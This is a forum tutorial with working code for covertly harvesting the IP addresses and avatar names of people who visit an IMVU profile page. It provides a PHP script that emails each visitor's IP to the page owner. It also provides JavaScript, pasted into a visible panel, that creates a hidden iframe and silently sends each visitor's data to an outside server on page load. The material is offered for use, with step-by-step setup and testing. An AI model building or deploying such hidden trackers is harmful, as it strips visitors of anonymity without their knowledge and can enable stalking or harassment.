       Getting Profile Visitors IPs 
       By: Lags Date: December 28, 2017, 7:26 pm
       ---------------------------------------------------------
       Things You Will Need:
       . Notepad (I recommend Notepad++)
       . An IMVU account (of course)
       . A webhost which provides PHP hosting and email service
       . At least some basic knowledge of PHP and JavaScript
       Step One:
       Open up notepad and paste this script in it (I'll explain what
       it does):
       [quote]<?php
       $ip = getenv(REMOTE_ADDR);
       $avi = $_GET&#91;'AviName'];
       mail("Your Email Address", "Your homepage visitor", "IP:
       ".$ip."\nAvatar: ".$avi);
       ?>[/quote]
       First off, remove the part with "Your Email Address" with your
       actual email address so that it emails it to you and the script
       works.
       We declare a variable named "$ip" and tell it to store the value
       returned by the PHP function "getenv(REMOTE_ADDR);" which is the
       function in PHP to get the IP address. Keep in mind that we're
       dealing with two languages that are technically opposite to each
       other. PHP is server oriented, it works on servers only and
       performs server tasks. JavaScript is a client oriented language,
       it cannot deal with IP obtaining or other server related tasks.
       Another variable declaration by the name "$avi" which has the
       return value of the function "$_GET&#91;'AviName'];" which is
       the easiest way to send information to a PHP document is by
       using the GET method, which appends information to the end of
       the URL as a parameter/argument (for example,
       "page.php?arg1=value"). PHP can access GET information by
       accessing $_GET[x], where x is a string containing the name of
       the argument. This is the most efficient method of passing
       variable values from JavaScript to PHP in my opinion.
       The last one is pretty self explanatory. It's the PHP mail()
       function, whose first parameter is the email address to send the
       email to, the second is the subject and the third and last one
       is the actual body of the email message. Remember to always give
       parameters to this function in quotes (preferably double
       quotes).
       Save the file with the name "get_info.php".
       Step Two:
       Sign up for a webhost which provides PHP hosting and email
       service or log in to your account if you already have an account
       with a host that provides those two things. Go to your file
       manager and put the file "get_info.php" into preferably the root
       dirctory, where the homepage of your website is present. It is
       actually the folder which is sometimes called "htdocs" or
       "public_html" or something like that. Upload the file and place
       it there. The URL to your "get_info.php" file would be as
       follows:
  HTML http://www.yourwebsite.com/get_info.php
       where "yourwebsite" replaces your website's address.
       Step Three:
       Go to your IMVU HP and edit one of the panels that have been set
       to visible. REMEMBER: it is important that the panel you are
       putting this script into is set to visible otherwise it won't
       work. Edit the HTML of the panel and put this script in it and
       save it:
       [quote]<script type="text/javascript">
       var ifr = document.createElement("iframe");
       var vName =
       document.getElementById("mininav-avname").innerHTML;
       ifr.src = "
  HTML http://www.yourwebsite.com/get_info.php?AviName="<br
       />+ vName;
       ifr.style.visibility = "hidden";
       document.body.appendChild(ifr);
       </script>[/quote]
       Remember to replace the part yourwebsite with your actual
       website's URL. Right then, the first line declares a variable
       named "ifr" which contains an iframe element (it is built-in in
       JavaScript). The next line declares a variable named "vName"
       which contains the avatar name of the person who visits your HP.
       The next line directs the iframe to the get_info.php file with
       an argument "AviName" followed by putting in the value contained
       by the variable "vName".
       Remember we used "$_GET&#91;'AviName']" in our PHP file? Well,
       that's what is being used here.
       The second-last line simply makes the iframe invisible/hidden.
       The last line appends the created iframe to the body of the
       parent page.
       To test, after saving, refresh your HP or preview it. It should
       send an email to you containing your IP address and your avatar
       name.
